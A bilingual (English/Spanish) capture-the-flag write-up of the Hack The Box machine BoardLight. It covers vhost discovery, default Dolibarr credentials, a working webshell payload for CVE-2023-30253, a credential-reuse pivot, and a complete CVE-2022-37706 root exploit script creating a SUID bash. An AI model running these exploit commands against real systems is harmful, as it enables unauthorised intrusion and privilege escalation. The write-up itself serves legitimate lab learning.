BoardLight
Executive summary — BoardLight exposes only SSH and an Apache server hosting a static corporate site, but the domain leaked on that page leads to a hidden vhost running Dolibarr ERP/CRM 17.0.0 protected by factory credentials (
admin:admin). From there, CVE-2023-30253 — a case-sensitive anti-PHP filter — grants code execution aswww-data. A reused database password opens SSH access to the system user, and a SUID binary belonging to a desktop window manager that had no business being on a server (CVE-2022-37706) hands over root. No single link is sophisticated on its own; the chain is, because every step depends on the previous one.
| Platform | Hack The Box |
| Operating system | Linux (Ubuntu 20.04 LTS) |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.231.37 |
Attack map
[80] board.htb — static corporate site, leaks the internal domain
│ vhost fuzzing -> crm.board.htb (hidden, same 302 response size)
▼
[80] crm.board.htb — Dolibarr ERP/CRM 17.0.0
│ factory credentials admin:admin -> administrative session
▼
[RCE] CVE-2023-30253 — Website module's anti-PHP filter is
│ case-sensitive (blocks <?php but not <?PHP)
▼
[www-data]
│ conf.php leaks the DB password, reused as the SSH
│ password for the system user larissa
▼
[SSH] larissa (user.txt)
│ enlightenment_sys (SUID root, v0.23.1) — CVE-2022-37706,
│ command injection via an unsanitized ";" in the path
▼
[ROOT] SUID copy of bash -> root.txt
1. Reconnaissance
ping -c 2 -W 3 10.129.231.37
64 bytes from 10.129.231.37: icmp_seq=1 ttl=63 time=35.5 ms
64 bytes from 10.129.231.37: icmp_seq=2 ttl=63 time=35.6 ms
A TTL of 63 is a free hint: Linux initializes TTL at 64, Windows at 128. 63 = 64 minus one network hop (the VPN gateway). Before scanning a single port, the target is already known to be Linux and one hop away.
nmap -p- --min-rate 5000 -T4 -Pn -oN nmap-allports.txt 10.129.231.37
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Not shown: 65226 closed tcp ports (reset), 307 filtered tcp ports (no-response)
Only two ports. That narrows the search space immediately: the entry point has to be on port 80, since SSH without prior credentials isn't a realistic way in.
nmap -sCV -p22,80 -Pn -oN nmap-services.txt 10.129.231.37
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Those OpenSSH and Apache versions are exactly what Ubuntu 20.04 LTS ships, and neither has a known practical pre-auth RCE. The vector isn't going to be the service, but whatever application runs on top of it.
curl -s -i -m 15 http://10.129.231.37/ | head -50
The response is a static commercial template, but the internal links use index.php, not .html: there's an active PHP interpreter even though the content looks entirely static. A feroxbuster run over the site only confirms more pages from the same template (about.php, contact.php...), and its contact forms have an empty action="" and inputs with no name attribute: purely decorative, they submit nothing to any backend. A dead end — but the dead end is the finding. Once the served content runs out, what's left to explore isn't more content, it's more hostnames.
grep -oiE '[a-z0-9._-]+\.(htb|com|local|net)' index.html | sort -u
board.htb
info@board.htb
The internal domain board.htb shows up in the page footer, in a contact email. Apache supports name-based virtual hosts: the same IP can host several distinct sites depending on the request's Host: header. Any other hosted site stays invisible until its name is guessed.
ffuf -u http://10.129.231.37/ -H "Host: FUZZ.board.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-mc all -fs 15949 -t 60
-fs 15949is the essential option. When Apache gets aHost:it doesn't recognize, it doesn't error out: it serves the default vhost. Twenty thousand unfiltered requests would all return HTTP 200 with the same 15,949-byte page — pure noise. Filtering by that exact size, only genuinely different responses survive.
crm
A single real vhost: crm.board.htb. With no sudo on the attacking box to edit /etc/hosts, it's reached with curl's --resolve, which forces DNS resolution at the request level without touching the system:
curl -s -i --resolve crm.board.htb:80:10.129.231.37 http://crm.board.htb/ | head -30
Set-Cookie: DOLSESSID_3dfbb778014aaf8a61e81abec91717e6f6438f92=...
<meta name="author" content="Dolibarr Development Team">
<title>Login @ 17.0.0</title>
Three independent fingerprints confirm the target: the DOLSESSID_* cookie, the <title> literally publishing the version, and the ?version=17.0.0 parameter on static assets. Confirmed: Dolibarr 17.0.0.
Resumen ejecutivo — BoardLight expone solo SSH y un Apache con una web corporativa estática, pero el dominio filtrado en esa web lleva a un vhost oculto con Dolibarr ERP/CRM 17.0.0 protegido con credenciales de fábrica (
admin:admin). Desde ahí, CVE-2023-30253 — un filtro anti-PHP que distingue mayúsculas de minúsculas — da ejecución de código comowww-data. Una contraseña de base de datos reutilizada por SSH abre paso al usuario del sistema, y un binario SUID de un gestor de ventanas de escritorio que nadie debería haber instalado en un servidor (CVE-2022-37706) entrega root. Ningún eslabón por separado es sofisticado; la cadena entera lo es porque cada paso depende del anterior.
| Plataforma | Hack The Box |
| Sistema operativo | Linux (Ubuntu 20.04 LTS) |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.231.37 |
Mapa del ataque
[80] board.htb — web corporativa estática, filtra el dominio interno
│ fuzzing de vhosts -> crm.board.htb (oculto, mismo tamaño de respuesta 302)
▼
[80] crm.board.htb — Dolibarr ERP/CRM 17.0.0
│ credenciales de fábrica admin:admin -> sesión administrativa
▼
[RCE] CVE-2023-30253 — filtro anti-PHP del módulo Website sensible a
│ mayúsculas (bloquea <?php pero no <?PHP)
▼
[www-data]
│ conf.php filtra la contraseña de la BD, reutilizada como
│ contraseña SSH del usuario del sistema larissa
▼
[SSH] larissa (user.txt)
│ enlightenment_sys (SUID root, v0.23.1) — CVE-2022-37706,
│ inyección de comandos vía ruta con ";" no neutralizada
▼
[ROOT] copia SUID de bash -> root.txt
1. Reconocimiento
ping -c 2 -W 3 10.129.231.37
64 bytes from 10.129.231.37: icmp_seq=1 ttl=63 time=35.5 ms
64 bytes from 10.129.231.37: icmp_seq=2 ttl=63 time=35.6 ms
Un TTL de 63 es una pista gratuita: Linux inicializa el TTL a 64, Windows a 128. 63 = 64 menos un salto de red (el gateway de la VPN). Antes de escanear un solo puerto ya sabemos que el objetivo es Linux y está a un salto de distancia.
nmap -p- --min-rate 5000 -T4 -Pn -oN nmap-allports.txt 10.129.231.37
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Not shown: 65226 closed tcp ports (reset), 307 filtered tcp ports (no-response)
Solo dos puertos. Eso reduce el espacio de búsqueda de inmediato: el vector de entrada tiene que estar en el 80, porque SSH sin credenciales previas no es una vía realista.
nmap -sCV -p22,80 -Pn -oN nmap-services.txt 10.129.231.37
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Esas versiones de OpenSSH y Apache son exactamente las que empaqueta Ubuntu 20.04 LTS, y ninguna de las dos tiene un RCE preautenticación conocido. El vector no va a ser el servicio, sino la aplicación que corre encima.
curl -s -i -m 15 http://10.129.231.37/ | head -50
La respuesta es una plantilla comercial estática, pero los enlaces internos usan index.php, no .html: hay un intérprete PHP activo aunque el contenido parezca completamente estático. Un feroxbuster sobre el directorio solo confirma más páginas de la misma plantilla (about.php, contact.php...), y sus formularios de contacto tienen action="" vacío y sin atributo name en los inputs: son decorativos, no envían nada a ningún backend. Callejón sin salida — pero es el callejón el que importa: cuando el contenido servido se agota, lo que queda por explorar no es más contenido, son más nombres de host.
grep -oiE '[a-z0-9._-]+\.(htb|com|local|net)' index.html | sort -u
board.htb
info@board.htb
El dominio interno board.htb aparece en el pie de página, en un correo de contacto. Apache soporta vhosts basados en nombre: la misma IP puede alojar varios sitios distintos según la cabecera Host: de la petición. Cualquier otro sitio alojado permanece invisible hasta que adivinemos su nombre.
ffuf -u http://10.129.231.37/ -H "Host: FUZZ.board.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-mc all -fs 15949 -t 60
-fs 15949es la opción imprescindible. Cuando Apache recibe unHost:que no reconoce, no da error: sirve el vhost por defecto. Las 20.000 peticiones de un fuzzing sin filtro devolverían HTTP 200 con la misma web de 15.949 bytes — puro ruido. Filtrando por ese tamaño exacto solo sobrevive lo que responde algo distinto.
crm
Un único vhost real: crm.board.htb. Sin permisos de sudo en la máquina atacante para editar /etc/hosts, se accede con --resolve de curl, que fuerza la resolución a nivel de petición sin tocar el sistema:
curl -s -i --resolve crm.board.htb:80:10.129.231.37 http://crm.board.htb/ | head -30
Set-Cookie: DOLSESSID_3dfbb778014aaf8a61e81abec91717e6f6438f92=...
<meta name="author" content="Dolibarr Development Team">
<title>Login @ 17.0.0</title>
Tres huellas independientes confirman el objetivo: la cookie DOLSESSID_*, el <title> que literalmente publica la versión, y el parámetro ?version=17.0.0 de los recursos estáticos. Confirmado: Dolibarr 17.0.0.
2. Initial access — default credentials and CVE-2023-30253
Dolibarr creates an administrator account during installation. In careless deployments it stays at the default admin/admin. Since the app enforces an anti-CSRF token, login is automated in two steps: pull the token off the login page while saving the session cookie, then resend it with the credentials over that same session.
TOKEN=$(curl -s --resolve crm.board.htb:80:10.129.231.37 -c cj.txt \
http://crm.board.htb/ | grep -oP 'name="token" value="\K[^"]+' | head -1)
curl -s --resolve crm.board.htb:80:10.129.231.37 -b cj.txt -c cj.txt -i \
-X POST http://crm.board.htb/index.php \
-d "token=$TOKEN" -d "actionlogin=login" -d "loginfunction=loginfunction" \
-d "username=admin" -d "password=admin" -d "entity=1"
token=ee2d2ecaf21a2ae18b0cccd56fbf1390
HTTP/1.1 302 Found
Location: /admin/index.php?mainmenu=home&leftmenu=setup&mesg=setupnotcomplete
A failed Dolibarr login returns HTTP 200 with the form again. Here there's a 302 to
/admin/index.php: not only did the login succeed, the account is an administrator. Administrative access to an ERP holding customer data is already a critical finding on its own, independent of whatever CVE comes next.
Dolibarr ships a Website module (a built-in CMS) that stores pages as .php files served by the PHP interpreter. To stop an application administrator from executing code on the server, the source-code editor validates content and rejects anything containing PHP opening tags — but that check (CVE-2023-30253) is case-sensitive: it literally searches for <?php. The PHP interpreter, though, recognizes its opening tags case-insensitively — <?php, <?PHP and <?PhP all execute the same way. Writing <?PHP sails straight through the filter.
curl -s --resolve crm.board.htb:80:10.129.231.37 -b cj.txt -c cj.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$T" -d "action=addsite" -d "WEBSITE_REF=pwn1" \
-d "WEBSITE_DESCRIPTION=pwn" -d "WEBSITE_LANG=en" \
-d "virtualhost=" -d "addcontainer=Create"
# ... create an empty container (page) inside the site, pageid=1 ...
curl -s --resolve crm.board.htb:80:10.129.231.37 -b cj.txt -c cj.txt -X POST \
"http://crm.board.htb/website/index.php" \
--data-urlencode "token=$T" --data-urlencode "action=updatesource" \
--data-urlencode "website=pwn1" --data-urlencode "pageid=1" \
--data-urlencode 'PAGE_CONTENT=<html><body><?PHP echo "PWNOK:".shell_exec($_REQUEST["cmd"]); ?></body></html>' \
--data-urlencode "update=Save"
Uppercase
<?PHPis the core of the bypass. ThePWNOK:marker lets the command output be sliced out of the HTML wrapper Dolibarr adds around it, andshell_exec($_REQUEST["cmd"])accepts the parameter over GET or POST.--data-urlencodeis used instead of-dbecause the payload contains?,&,<,>,$and quotes; with-dthe first&would have cut the request body short.
curl -s --resolve crm.board.htb:80:10.129.231.37 -b cj.txt \
"http://crm.board.htb/public/website/index.php?website=pwn1&pageref=shell&cmd=id"
<html><body>PWNOK:uid=33(www-data) gid=33(www-data) groups=33(www-data)
</body></html>
Remote code execution confirmed as www-data. To avoid repeating the full request for every command, it's wrapped into a script that also uses perl -0777 -ne (slurp mode, treats the whole response as a single string) instead of line-by-line grep/sed — needed because the first extractor truncated any multi-line output:
# rce.sh — runs a command on the target via the webshell
curl -s -G --resolve crm.board.htb:80:10.129.231.37 -b cj.txt \
"http://crm.board.htb/public/website/index.php" \
--data-urlencode "website=pwn1" --data-urlencode "pageref=shell" \
--data-urlencode "cmd=$1" \
| perl -0777 -ne 'print $1 if /PWNOK:(.*?)<\/body>/s'
3. Credential pivot (user.txt)
./rce.sh 'id; ls -la /home'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
drwxr-x--- 15 larissa larissa 4096 May 17 2024 larissa
A single system user: larissa, with a home directory unreadable by www-data (drwxr-x---). user.txt sits in there; it takes actually becoming larissa, not just reading her files. Any web app with a database keeps its own credentials on disk somewhere, and the web process has to be able to read them by definition — in Dolibarr, that file is conf/conf.php:
./rce.sh 'cat /var/www/html/crm.board.htb/htdocs/conf/conf.php | grep -a pass'
$dolibarr_main_db_pass='serverfun2$2023!!';
This isn't a poorly guarded secret — it's a secret sitting exactly where it's supposed to be. The database password shouldn't work anywhere else, but in practice whoever deployed the box tends to reuse it everywhere. Tried directly against SSH:
sshpass -p 'serverfun2$2023!!' ssh \
-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 \
larissa@10.129.231.37 'id; hostname; cat ~/user.txt'
uid=1000(larissa) gid=1000(larissa) groups=1000(larissa),4(adm)
boardlight
d465eedbf3c7263e4df2bd502705cb4e
user.txt: d465eedbf3c7263e4df2bd502705cb4e
Worth noting: larissa belongs to the adm group (gid 4), which can read most of /var/log — a useful secondary avenue (credentials leaked in logs, other services' command history) that wasn't needed here but is worth recording.
4. Privilege escalation — CVE-2022-37706 (root.txt)
find / -perm -4000 -type f 2>/dev/null
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/.../freqset
/usr/bin/su /usr/bin/mount /usr/bin/passwd ...
Most of these SUID binaries are legitimate on any Ubuntu box. What stands out is the Enlightenment block: four SUID binaries from an X11 window manager on a machine that only exposes SSH and HTTP. A server has no business running a desktop environment — software installed without a purpose is always the first candidate in a privesc hunt.
sudo -n -lcomes back empty.
dpkg -l | grep -i enlightenment
hi enlightenment 0.23.1-4 amd64 X11 window manager based on EFL
Enlightenment 0.23.1. CVE-2022-37706 was fixed in 0.25.4, so this version is vulnerable. The hi status (hold + installed) means the package was deliberately pinned so apt upgrade wouldn't touch it — that explains why it survived every patch cycle.
enlightenment_sys is a SUID-root helper binary that carries out privileged operations (mounting removable devices, adjusting brightness...) on behalf of an unprivileged process. When mounting, it builds a command line that includes a user-supplied path and runs it by invoking /bin/mount through a shell. The path validation checks that it starts with an allowed location, but doesn't neutralize shell metacharacters — a semicolon in the path separates commands, and everything after it runs as its own command, with root privileges.
/dev/../tmp/;/tmp/pwn
/dev/../tmp/starts with/dev/as far as the validator is concerned (an allowed location), but the filesystem resolves the..down to plain/tmp/, world-writable. The;closes themountinvocation for the shell, and/tmp/pwnis the next command, run as root: insufficient path normalization plus command injection.
# payload.sh — run as larissa on the target
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/pwn"
cat > /tmp/pwn <<'EOS'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOS
chmod a+x /tmp/pwn
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /bin/mount \
-o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,uid=$(id -u), \
"/dev/../tmp/;/tmp/pwn" /tmp///net >/dev/null 2>&1
ls -la /tmp/rootbash
/tmp/rootbash -p -c 'id; cat /root/root.txt'
Instead of an interactive shell (awkward over non-interactive SSH), the payload creates a SUID copy of bash: repeatable, non-interactive root access.
chmod 4755sets the SUID bit, and since root creates the file, the copy is SUID root. The-pflag when invoking/tmp/rootbashis critical: bash normally drops elevated privileges on startup (an anti-SUID-shell measure); without-pthe SUID copy would be useless.
scp payload.sh larissa@10.129.231.37:/tmp/payload.sh
ssh larissa@10.129.231.37 'bash /tmp/payload.sh'
-rwsr-xr-x 1 root root 1183448 Aug 8 07:45 /tmp/rootbash
uid=1000(larissa) gid=1000(larissa) euid=0(root) groups=1000(larissa),4(adm)
02f89e5b896fd9ed68e0b1f837514e2e
The real uid is still larissa, but the effective uid is root — and it's the effective uid the kernel checks for access control.
root.txt: 02f89e5b896fd9ed68e0b1f837514e2e
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Initial access | Dolibarr ERP/CRM 17.0.0 | Factory credentials admin:admin on a hidden vhost | Administrative session on the CRM |
| RCE | Website module — source code editor | CVE-2023-30253 — case-sensitive anti-PHP filter (<?PHP vs <?php) | Code execution as www-data |
| Lateral movement | conf/conf.php / SSH | DB password reused as SSH password for user larissa | Access as larissa (user.txt) |
| PrivEsc | enlightenment_sys (SUID root, v0.23.1) | CVE-2022-37706 — command injection via an unsanitized ; in the path | Root via SUID copy of bash (root.txt) |
Lessons learned
- A corporate site with no apparent functionality can still be the entry vector: check footers, metadata and contact emails for internal domain names, and filter vhost fuzzing by response size whenever the server has catch-all behavior (returns 200 with the default vhost for any unknown
Host:). - Factory credentials on an ERP/CRM are a critical finding on their own, independent of any CVE found afterward — rotating them on first boot should be mandatory, not optional.
- A security filter that compares literal text (
<?php) without normalizing case is as good as no filter at all when the target interpreter is itself case-insensitive. - Web application config files are a common source of reusable credentials for SSH/system access — always check them right after landing application-level RCE.
- Desktop software (window managers, graphical environments) installed on a headless server is, by definition, unjustified attack surface — and a package pinned on
holdcan go years without a patch that already exists.
2. Acceso inicial — credenciales por defecto y CVE-2023-30253
Dolibarr crea un usuario administrador durante la instalación. En despliegues descuidados se queda con el par admin/admin. Como la aplicación exige un token anti-CSRF, el login se automatiza en dos pasos: extraer el token de la página de login guardando la cookie de sesión, y reenviarlo junto con las credenciales usando esa misma sesión.
TOKEN=$(curl -s --resolve crm.board.htb:80:10.129.231.37 -c cj.txt \
http://crm.board.htb/ | grep -oP 'name="token" value="\K[^"]+' | head -1)
curl -s --resolve crm.board.htb:80:10.129.231.37 -b cj.txt -c cj.txt -i \
-X POST http://crm.board.htb/index.php \
-d "token=$TOKEN" -d "actionlogin=login" -d "loginfunction=loginfunction" \
-d "username=admin" -d "password=admin" -d "entity=1"
token=ee2d2ecaf21a2ae18b0cccd56fbf1390
HTTP/1.1 302 Found
Location: /admin/index.php?mainmenu=home&leftmenu=setup&mesg=setupnotcomplete
Un login fallido en Dolibarr devuelve HTTP 200 con el formulario de nuevo. Aquí hay un 302 hacia
/admin/index.php: no solo la autenticación tuvo éxito, la cuenta es administradora. Acceso administrativo a un ERP con datos de clientes es ya un hallazgo crítico por sí mismo, independiente de cualquier CVE que venga después.
Dolibarr incluye un módulo Website (CMS integrado) que guarda páginas como ficheros .php servidos por el intérprete PHP. Para evitar que cualquier administrador de aplicación pueda ejecutar código en el servidor, el editor de código fuente valida el contenido y rechaza lo que incluya etiquetas de apertura PHP — pero esa comprobación (CVE-2023-30253) es sensible a mayúsculas: busca literalmente <?php. El intérprete PHP, en cambio, reconoce sus etiquetas sin distinguir mayúsculas — <?php, <?PHP y <?PhP se ejecutan igual. Escribir <?PHP atraviesa el filtro intacto.
curl -s --resolve crm.board.htb:80:10.129.231.37 -b cj.txt -c cj.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$T" -d "action=addsite" -d "WEBSITE_REF=pwn1" \
-d "WEBSITE_DESCRIPTION=pwn" -d "WEBSITE_LANG=en" \
-d "virtualhost=" -d "addcontainer=Create"
# ... crear un container (página) vacío dentro del sitio, pageid=1 ...
curl -s --resolve crm.board.htb:80:10.129.231.37 -b cj.txt -c cj.txt -X POST \
"http://crm.board.htb/website/index.php" \
--data-urlencode "token=$T" --data-urlencode "action=updatesource" \
--data-urlencode "website=pwn1" --data-urlencode "pageid=1" \
--data-urlencode 'PAGE_CONTENT=<html><body><?PHP echo "PWNOK:".shell_exec($_REQUEST["cmd"]); ?></body></html>' \
--data-urlencode "update=Save"
<?PHPen mayúsculas es el núcleo del bypass. El marcadorPWNOK:permite recortar la salida del comando del HTML que Dolibarr envuelve alrededor, yshell_exec($_REQUEST["cmd"])acepta el parámetro por GET o POST. Se usa--data-urlencodeen vez de-dporque el payload contiene?,&,<,>,$y comillas; con-del primer&habría truncado el cuerpo de la petición.
curl -s --resolve crm.board.htb:80:10.129.231.37 -b cj.txt \
"http://crm.board.htb/public/website/index.php?website=pwn1&pageref=shell&cmd=id"
<html><body>PWNOK:uid=33(www-data) gid=33(www-data) groups=33(www-data)
</body></html>
Ejecución remota de código confirmada como www-data. Para no repetir la petición completa en cada comando, se envuelve en un script que además usa perl -0777 -ne (modo slurp, procesa la respuesta entera como una sola cadena) en vez de grep/sed línea a línea — necesario porque el primer extractor truncaba cualquier salida multilínea:
# rce.sh — ejecuta un comando en el objetivo vía el webshell
curl -s -G --resolve crm.board.htb:80:10.129.231.37 -b cj.txt \
"http://crm.board.htb/public/website/index.php" \
--data-urlencode "website=pwn1" --data-urlencode "pageref=shell" \
--data-urlencode "cmd=$1" \
| perl -0777 -ne 'print $1 if /PWNOK:(.*?)<\/body>/s'
3. Pivote de credenciales (user.txt)
./rce.sh 'id; ls -la /home'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
drwxr-x--- 15 larissa larissa 4096 May 17 2024 larissa
Un único usuario del sistema: larissa, con directorio no legible por www-data (drwxr-x---). user.txt está ahí dentro; hace falta convertirse en larissa, no solo leer sus ficheros. Toda aplicación web con base de datos guarda sus credenciales en disco, y el proceso web tiene que poder leerlas por definición — en Dolibarr, ese fichero es conf/conf.php:
./rce.sh 'cat /var/www/html/crm.board.htb/htdocs/conf/conf.php | grep -a pass'
$dolibarr_main_db_pass='serverfun2$2023!!';
No es un secreto mal guardado: es un secreto guardado exactamente donde debe estar. La contraseña de base de datos no debería servir para nada más, pero en la práctica quien despliega suele reutilizarla en todos lados. Se prueba directamente contra SSH:
sshpass -p 'serverfun2$2023!!' ssh \
-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 \
larissa@10.129.231.37 'id; hostname; cat ~/user.txt'
uid=1000(larissa) gid=1000(larissa) groups=1000(larissa),4(adm)
boardlight
d465eedbf3c7263e4df2bd502705cb4e
user.txt: d465eedbf3c7263e4df2bd502705cb4e
Detalle a registrar: larissa pertenece al grupo adm (gid 4), que puede leer la mayoría de /var/log — una vía secundaria útil (credenciales en logs, historial de otros servicios) que aquí no hizo falta pero conviene anotar.
4. Escalada de privilegios — CVE-2022-37706 (root.txt)
find / -perm -4000 -type f 2>/dev/null
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/.../freqset
/usr/bin/su /usr/bin/mount /usr/bin/passwd ...
La mayoría de estos SUID son legítimos de cualquier Ubuntu. Lo que salta a la vista es el bloque de Enlightenment: cuatro binarios SUID de un gestor de ventanas X11 en una máquina que solo expone SSH y HTTP. Un servidor no necesita un entorno de escritorio — software instalado sin propósito es siempre el primer candidato en una escalada.
sudo -n -lno da nada.
dpkg -l | grep -i enlightenment
hi enlightenment 0.23.1-4 amd64 X11 window manager based on EFL
Enlightenment 0.23.1. CVE-2022-37706 se corrigió en 0.25.4, así que esta versión es vulnerable. El estado hi (hold + installed) indica que el paquete está retenido deliberadamente para que apt upgrade no lo actualice — explica por qué sobrevivió a los ciclos de parcheo.
enlightenment_sys es un binario auxiliar SUID root que delega operaciones privilegiadas (montar dispositivos extraíbles, ajustar brillo...) desde un proceso sin privilegios. Al montar, construye una línea de comandos con una ruta suministrada por el usuario y la ejecuta invocando /bin/mount a través de un shell. La validación de esa ruta comprueba que empiece por una ubicación permitida, pero no neutraliza los metacaracteres del shell — un punto y coma en la ruta separa comandos, y todo lo que venga después se ejecuta como un comando independiente con privilegios de root.
/dev/../tmp/;/tmp/pwn
/dev/../tmp/empieza por/dev/a ojos del validador (ubicación permitida), pero el..lo resuelve el sistema de ficheros a simplemente/tmp/, escribible por cualquiera. El;cierra la invocación demountpara el shell, y/tmp/pwnes el comando siguiente, ejecutado como root: normalización de rutas insuficiente + inyección de comandos.
# payload.sh — ejecutado como larissa en el objetivo
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/pwn"
cat > /tmp/pwn <<'EOS'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOS
chmod a+x /tmp/pwn
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /bin/mount \
-o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,uid=$(id -u), \
"/dev/../tmp/;/tmp/pwn" /tmp///net >/dev/null 2>&1
ls -la /tmp/rootbash
/tmp/rootbash -p -c 'id; cat /root/root.txt'
En lugar de un shell interactivo (difícil de manejar por SSH no interactivo), el payload crea una copia SUID de bash: acceso root repetible y no interactivo.
chmod 4755activa el bit SUID, y como el fichero lo crea root, la copia es SUID root. La opción-pal invocar/tmp/rootbashes crítica: bash normalmente abandona los privilegios elevados al arrancar (medida anti-shell-SUID); sin-pla copia SUID no serviría de nada.
scp payload.sh larissa@10.129.231.37:/tmp/payload.sh
ssh larissa@10.129.231.37 'bash /tmp/payload.sh'
-rwsr-xr-x 1 root root 1183448 Aug 8 07:45 /tmp/rootbash
uid=1000(larissa) gid=1000(larissa) euid=0(root) groups=1000(larissa),4(adm)
02f89e5b896fd9ed68e0b1f837514e2e
El uid real sigue siendo larissa, pero el uid efectivo es root — y es el uid efectivo el que el kernel consulta para el control de acceso.
root.txt: 02f89e5b896fd9ed68e0b1f837514e2e
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Acceso inicial | Dolibarr ERP/CRM 17.0.0 | Credenciales de fábrica admin:admin en un vhost oculto | Sesión administrativa en el CRM |
| RCE | Módulo Website — editor de código fuente | CVE-2023-30253 — filtro anti-PHP sensible a mayúsculas (<?PHP vs <?php) | Ejecución de código como www-data |
| Movimiento lateral | conf/conf.php / SSH | Contraseña de BD reutilizada como contraseña SSH del usuario larissa | Acceso como larissa (user.txt) |
| PrivEsc | enlightenment_sys (SUID root, v0.23.1) | CVE-2022-37706 — inyección de comandos vía ruta con ; no neutralizada | Root vía copia SUID de bash (root.txt) |
Lecciones aprendidas
- Una web corporativa sin funcionalidad aparente puede seguir siendo la fuente del vector de entrada: revisar el pie de página, metadatos y correos de contacto en busca de dominios internos, y filtrar el fuzzing de vhosts por tamaño de respuesta cuando el servidor tiene comportamiento catch-all (devuelve 200 con el vhost por defecto ante cualquier
Host:desconocido). - Las credenciales de fábrica de un ERP/CRM son, por sí solas, un hallazgo crítico independiente de cualquier CVE posterior — cambiarlas en el primer arranque debería ser obligatorio, no opcional.
- Un filtro de seguridad que compara literales de texto (
<?php) sin normalizar mayúsculas/minúsculas es tan efectivo como no tener filtro, cuando el intérprete de destino sí es insensible a esa distinción. - Los ficheros de configuración de aplicaciones web son una fuente habitual de credenciales reutilizables para acceso SSH/sistema — revisar siempre tras conseguir RCE a nivel de aplicación.
- Software de escritorio (gestores de ventanas, entornos gráficos) instalado en un servidor sin interfaz gráfica es, por definición, superficie de ataque sin justificación — y un paquete marcado como
holdpuede llevar años sin el parche que ya existe.